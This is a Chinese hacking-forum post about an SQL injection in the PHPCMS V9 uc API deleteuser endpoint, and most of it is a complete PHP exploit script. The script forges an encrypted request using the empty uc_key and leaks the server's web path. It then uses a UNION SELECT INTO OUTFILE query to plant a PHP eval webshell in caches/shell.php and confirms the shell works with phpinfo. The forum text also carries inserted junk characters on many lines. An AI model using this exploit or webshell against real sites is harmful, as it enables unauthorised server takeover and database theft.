找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1829|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。3 F2 x, \  X) ^) U# ]1 R% k' T
, N; o. Y' M: V
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。3 k* |+ F$ J$ C. r5 J+ h9 T+ F' n
# K+ b0 s1 ^% M4 ^! r# M3 q$ \) E8 ^/ q
漏洞分析:2 p' P8 ~" o7 |; I8 t- u: c) O! m" Y  C
1.未启用ucenter服务的情况下uc_key为空
' f* h5 Z; R4 p4 qdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
1 W6 V6 \/ k* A/ @3 q. _! U2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。# k, z8 o. ^$ O9 K9 \
    public function deleteuser($get,$post) {
9 J. `8 C7 m6 [: O, R5 d# u/ {        pc_base::load_app_func('global', 'admin');9 X# `* Y. `$ k* ]( f$ O, E4 j
        pc_base::load_app_class('messagequeue', 'admin' , 0);
7 _/ [+ b( F; O- G2 R5 R        $ids = new_stripslashes($get['ids']);2 j$ ]1 J; l' C
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
7 O( p& ~: j7 C5 l3 x7 ~4 t0 xSQL语句为+ q, Z, r2 D* T! z4 a& z* a9 W
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
! v4 U* D# R/ Q  P5 x& y" `
  W3 M* U( N  I5 f3 p& _利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
7 d2 {8 C1 _) d0 T) W& V<?php/ R- B1 F2 K' k5 F
print_r('
6 u1 S9 t, B- j3 D- j6 e! M---------------------------------------------------------------------------
1 C* [; G" X' w" @8 APHPcms (v9 or Old Version) uc api sql injection 0day
' b7 F3 ?$ z- wby rayh4c#80sec.com
2 d1 b# @- [  q) o. i: j4 i. u9 s---------------------------------------------------------------------------
/ `( J$ P4 k! J) h4 ?');
: J( z. `( `* b7 ~; Z! z( t5 S/ u
- r* n  B. y# w0 W' y4 R. Bif ($argc<3) {- V) k/ f/ c7 w2 Z$ A
    print_r('
, e+ t" U) U8 @6 M---------------------------------------------------------------------------
- G( g+ }' i2 W3 @% ZUsage: php '.$argv[0].' host path OPTIONS
6 B/ t  q% `- F- n+ \host:      target server (ip/hostname)
/ `) K' z" h- T1 D( q2 f5 {8 w) Qpath:      path to phpcms
! n% _3 ?2 D9 p- BOptions:
" }" s3 J% ^- @. p- ~6 s -p[port]:    specify a port other than 80
2 S7 J$ `3 d4 W  T; r& L -P[ip:port]: specify a proxy! W3 w  q. e# \  D7 p3 G
Example:1 y( h1 X2 E( n$ F( A! K1 i$ N
php '.$argv[0].' localhost /
+ G% _8 _3 S$ g! t8 fphp '.$argv[0].' localhost /phpcms/ -p81
8 B/ {7 p$ C1 A: O' ^/ yphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
8 G5 r$ k: J6 e( R% r1 a---------------------------------------------------------------------------+ _& X- u+ u6 ^5 h7 N+ M
');; R) g8 |* Q9 @' H  u5 b
    die;
/ {6 {5 n- Y6 e7 F! w}$ |7 b; ]& u; t- G% C2 D' _& W# J1 G) ~
* {3 b3 E7 h! J' Y3 \. S  ]) ~: b
error_reporting(7);* i4 e7 A$ l, N: H) ?( A" Y
ini_set("max_execution_time",0);' j4 v& y) t% {, Z
ini_set("default_socket_timeout",5);
0 g, V- d4 r0 I  ?4 g% E& e3 n5 `7 g4 z0 o/ X6 l
function quick_dump($string)
% k& @1 A; J4 B) o) f& ~: p{
/ z! {9 _3 j$ I  $result='';$exa='';$cont=0;" ~5 }" \3 X8 p6 b7 a  F
  for ($i=0; $i<=strlen($string)-1; $i++)
* G2 m+ c8 X2 {) ~; `3 r1 W  f  {
3 A! H* s* ?8 L6 G  ]) e) q   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
- p, y$ A$ E$ T3 i   {$result.="  .";}
! \# c1 A5 s% A" [3 [. H8 a+ ^   else1 ~: A. U" C3 U6 [
   {$result.="  ".$string[$i];}
# M, o* e+ x/ Y7 W  k   if (strlen(dechex(ord($string[$i])))==2)
+ X, B4 Y. m7 |* @  I6 E3 n) {   {$exa.=" ".dechex(ord($string[$i]));}
0 u7 X% w0 M5 K  v3 H7 J   else
% w% v6 ?3 h4 V( `, @   {$exa.=" 0".dechex(ord($string[$i]));}& d  z5 V5 D- L1 p
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% _0 n) r7 H; _- D  }
5 E% F) V- w9 o( _5 ^- u4 ]* i  V return $exa."\r\n".$result;
3 g5 R5 _& ^' c" Q3 z" ^0 v}
" M  w+ C6 K# C6 J; s8 k$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
- m1 H) _& @# `) d, V# G* C0 }
$ m, A( i8 S) _# {+ X9 A% @function send($packet)
. h; e" L1 Y, [0 f6 ~* {{% k/ T0 l! `6 f, a6 J' L6 b
  global $proxy, $host, $port, $html, $proxy_regex;
( `7 x2 O6 v3 I+ d. |* B1 K7 \* @  if ($proxy=='') {
/ q0 e  d& A4 ^    $ock=fsockopen(gethostbyname($host),$port);
! u8 X! ?: s$ E( w' d    if (!$ock) {/ D2 V7 N) `. ~4 T& `
      echo 'No response from '.$host.':'.$port; die;+ E% X$ b6 A2 c% y' t! W
    }
2 A# P8 j1 n3 C* r- E8 y* `  }
8 g! R1 V9 w  ]: b0 d" e1 c  else {# H% n( x; F: _: ?
        $c = preg_match($proxy_regex,$proxy);
3 F8 }+ f; E; W) r: n  E3 ^    if (!$c) {8 W- K( `( u& L7 }: `
      echo 'Not a valid proxy...';die;
' b' x5 A' Q0 N5 K- ~- a    }
+ H& ?0 V& m% e* _: p    $parts=explode(':',$proxy);; w- G; P5 C! S
    $parts[1]=(int)$parts[1];
/ E1 b* w- }* c3 `/ P" q' _$ Z    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";1 c0 E; u; `# Y3 t7 M3 g8 J
    $ock=fsockopen($parts[0],$parts[1]);
$ G) d' I: f/ ~: w/ I* Z. H( G    if (!$ock) {9 P3 G0 z2 x# P+ b0 K
      echo 'No response from proxy...';die;
0 R: X/ w* i0 Q. f6 Z$ c        }
: }) Z5 @, S' h; V  }1 {9 P: _4 Z4 g& y+ S- W: r0 n! N
  fputs($ock,$packet);* k$ |- {' d, M# g
  if ($proxy=='') {1 @: Z* p* H' O9 B: D. h
    $html='';
  x( \6 q* ?& n$ p' S% ?8 m    while (!feof($ock)) {
8 h) T3 s8 P. ]& m& c8 z: O      $html.=fgets($ock);# T5 i7 U9 a! X
    }2 c5 J, c( Y9 A8 Z. N* {4 B+ w! f
  }
  c) v3 \  ~1 L& p* X  else {
- u+ l( e- |2 ~5 M7 W! z9 P1 y    $html='';# V# @8 {. F# L
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {% R: g7 F6 A0 y) i
      $html.=fread($ock,1);: W' A- o' S- U
    }6 W5 w, V. F) ]: H1 E# i/ ^
  }
2 j3 d9 I  O1 ~; K  fclose($ock);4 y3 o: }9 L' w. I. R
}* k3 u0 P4 N$ E* ?/ y  `

% e4 W' }! K$ Q8 r. K+ E7 X! V$host=$argv[1];
$ y6 ]2 {. l/ X& b) b$path=$argv[2];
- i0 W5 F8 w7 V3 V( O$port=80;
  h8 V; u& P9 s6 X1 N$proxy="";& U( ?2 y: m% m' x/ n( l
for ($i=3; $i<$argc; $i++){, L( j7 l" [! y  P& @) r" L. m8 r
$temp=$argv[$i][0].$argv[$i][1];
2 R$ P) J, L- l" Tif ($temp=="-p")
4 m9 B3 ^4 h: g& `{
+ {* ?- P9 z5 Z2 i  $port=(int)str_replace("-p","",$argv[$i]);
) O5 n" r# b0 r/ U/ u% ^) N}' r: @; Y4 t3 [" \+ k0 s& o& w8 d
if ($temp=="-P"); U% v: D4 X; `- Q1 u
{
7 @! H; K. D  g& f3 P. c$ X& P. ~  $proxy=str_replace("-P","",$argv[$i]);
4 M3 Q% Z1 s2 `; G* q}% I, N, j0 A% l( @. O
}
4 e4 V/ x; W, {9 _
6 ?+ y" C$ R/ y' eif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
6 {7 ?# T  _  g6 c0 O* Qif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
: A" _6 Y7 d$ o" ]9 Z+ b" v; `; B9 O5 K0 t* n
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {( J, c& N6 t* C" r: r# _) [* ~

8 q2 T* ~: f. l" w( |- N    $ckey_length = 4;
/ u) D; ~: ^4 B5 t
$ ~: R: X2 V( a$ {    $key = md5($key ? $key : '');, c# h2 z5 Q6 S9 _2 q6 D+ h7 e
    $keya = md5(substr($key, 0, 16));6 u/ v0 ?2 U- s$ \2 H# D
    $keyb = md5(substr($key, 16, 16));" S. t5 _5 }/ G/ G! H3 ^
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';* J& b' b9 Y' M5 b" Y) N! G

+ c# [5 Y* T$ J( q$ h& l    $cryptkey = $keya.md5($keya.$keyc);
; N4 J9 D, S1 O; a$ H) X    $key_length = strlen($cryptkey);% g( b8 R; T% {+ Q5 d6 {

) W5 D$ `  ^- }% ~. X    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;3 [; O, x4 K  C9 ^* D$ H
    $string_length = strlen($string);- \, ~; H/ o0 S% j0 a0 a

$ b% F, I+ S1 u8 N( ^" D! Q6 g    $result = '';  p8 D" G5 T: h
    $box = range(0, 255);" k* j2 m( m% x) V9 {6 C* A  q7 w
; C( z4 V( H' g. d( ~
    $rndkey = array();8 l; u: W6 Z* \% R4 X* S$ _3 K
    for($i = 0; $i <= 255; $i++) {
, r+ w6 B/ V/ Y: L3 r. U. c        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
# H3 b* I. v+ O$ R2 h    }
8 G5 `- X$ q1 |
0 q! a- \! S4 u% F" _$ y2 b. v3 k    for($j = $i = 0; $i < 256; $i++) {
  o1 s" N1 y& T        $j = ($j + $box[$i] + $rndkey[$i]) % 256;0 w: m. a6 S/ n+ I' ~) k1 p
        $tmp = $box[$i];& M1 k( d1 k' W# d
        $box[$i] = $box[$j];
; q; @% Q' {) Z  \. f        $box[$j] = $tmp;% P9 r% b# `2 T: `' x
    }2 s2 s; h  m7 N# v/ T, ]7 y

5 m: s& p$ I) E+ u    for($a = $j = $i = 0; $i < $string_length; $i++) {
! R. i+ A: ]; D+ a$ k        $a = ($a + 1) % 256;0 W. q8 Z- `# r: c
        $j = ($j + $box[$a]) % 256;
: }, ]# n/ z+ e        $tmp = $box[$a];
7 h5 M4 o5 N- l' X8 d. \        $box[$a] = $box[$j];
6 F, T0 B2 X6 \! f; J  L2 w9 ?8 L        $box[$j] = $tmp;6 ~, E  D1 W# w) }8 H- i# I* E
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));) R: T6 }1 G5 p5 q$ S
    }
$ s' H$ `3 H5 N! x- t
8 E$ Q1 O% W5 b4 N# l- T) U  M    if($operation == 'DECODE') {1 h' W" `4 v# u( _& t9 K
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
% ~& L( X* s4 y            return substr($result, 26);5 g" U: y) z' W1 C9 `
        } else {
; s* {+ I) m& K& e0 X) s6 B            return '';
# j. w* \# h' J- V# I* y: O        }
" s7 |8 f! v6 B+ z. l* D# T    } else {
& x/ q- {3 b3 ^5 i& Z8 X4 w7 G9 k$ |/ ~        return $keyc.str_replace('=', '', base64_encode($result));
0 i/ H5 e$ N; d    }" D& t$ Q( l& W6 K8 v6 |
  S0 m. m# r: p. J' n9 y
}
0 W+ V! ]: {) D
6 ^: M$ e* _/ Y( v) P$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";# g; T0 v  d8 Q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 S2 x, |' `7 `
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 m, h1 O- R$ C$ X4 G9 s; V. w
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% j2 k- V# z  i/ p! O  R$packet.="User-Agent: Mozilla/5.0\r\n";
9 b5 V; z; @! I! N8 Y' B$packet.="Host: ".$host."\r\n";
, i* p4 f9 k0 [, l) l$packet.="Connection: Close\r\n\r\n";* l2 h. J) ]! v
send($packet);/ B8 U( R7 l& N
if(strpos($html,"MySQL Errno") > 0){& ~3 a+ E% n. _. P/ f) m
echo "[2] 发现存在SQL注入漏洞"."\n";6 O) w3 h* k3 @" ]& F) g$ M
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
( p- d) i* V( l& k/ h2 E% t$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
% a" ]! t, \. h$packet.="User-Agent: Mozilla/5.0\r\n";6 O: l; a- R+ {( f5 b- b- `
$packet.="Host: ".$host."\r\n";8 B" G  l) V, @9 b9 X
$packet.="Connection: Close\r\n\r\n";) D& j' U8 O& T2 g- C
send($packet);- N; G* Q3 f; \9 g/ ?
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
- K% g* ^. `1 Y% [' k2 R4 Y//print_r($matches);
4 {' \) ?, F* F  E2 Iif(!empty($matches)){
6 f. @) w# p% F5 Y& qecho "[4] 得到web路径 " . $matches[0]."\n";. f; q( S0 z2 u+ g' ~3 w
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
1 R3 p- z) i3 W: a3 `' y$SQL = "time=999999999999999999999999&ids=1)";- I3 R& h0 Q6 r) c9 a
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";% O4 B8 u) o: C& j3 S6 v8 p( K/ t
$SQL.="&action=deleteuser";
% D& ^: K/ k8 X) O# o0 w) m# [$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: b) _$ j9 D: X* S# wecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
+ x9 _/ w) v. \9 [4 \+ H, A0 j0 B$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
4 R8 I8 `- x. W. ~  X$ I$packet.="User-Agent: Mozilla/5.0\r\n";
. w" O- ^/ d# E. q5 e5 b, f  p& O$packet.="Host: ".$host."\r\n";
! i* a* X6 b# U% |: l$packet.="Connection: Close\r\n\r\n";
' X. F9 l+ n% d9 a$ zsend($packet);1 g- a3 x4 T+ p( J) `
if(strpos($html,"Access denied") > 0){
- ?: c8 _% w3 x, l) B/ f* A' j* lecho "[-] MYSQL权限过低 禁止写入文件 ";
% ^# Y! ]7 \7 b* s% tdie;) z" a+ l0 _9 a3 J" T
}* E- s; L- t3 u! T) @5 A* P8 i, _
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
0 R: b% T" l. H$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% Z. o2 x) D, u& l+ M; F  c
$packet.="User-Agent: Mozilla/5.0\r\n";
' R5 w+ x* w# \$packet.="Host: ".$host."\r\n";
" K: I( b2 ?; w: u+ R, E$packet.="Connection: Close\r\n\r\n";* u" J8 E7 \# c1 Y9 s
send($packet);
6 _1 Z& [- m- f: ], k; vif(strpos($html,"<title>phpinfo()</title>") > 0){7 K; M- H* l( o
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";2 B9 U1 {: }. V+ h
}( l' N9 }( X- l- y; @
}else{" [6 P' }" p8 X; g* `
echo "[-]未取到web路径 ";6 f9 W: g8 H) ?. v+ e# ^. p
}) E& Z$ c, V) }3 L9 [+ I
}else{
  y. L, k, I( T1 S0 y/ Hecho "[*]不存在SQL注入漏洞"."\n";
5 h5 w) C; S! ^9 q4 N% y- Z9 L+ i}
- B6 c" g; I! B' C; f/ z+ k0 j9 W/ s( A( i: J7 A4 A7 i4 q
?>
9 g7 X1 L" q1 K% K( i: k5 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表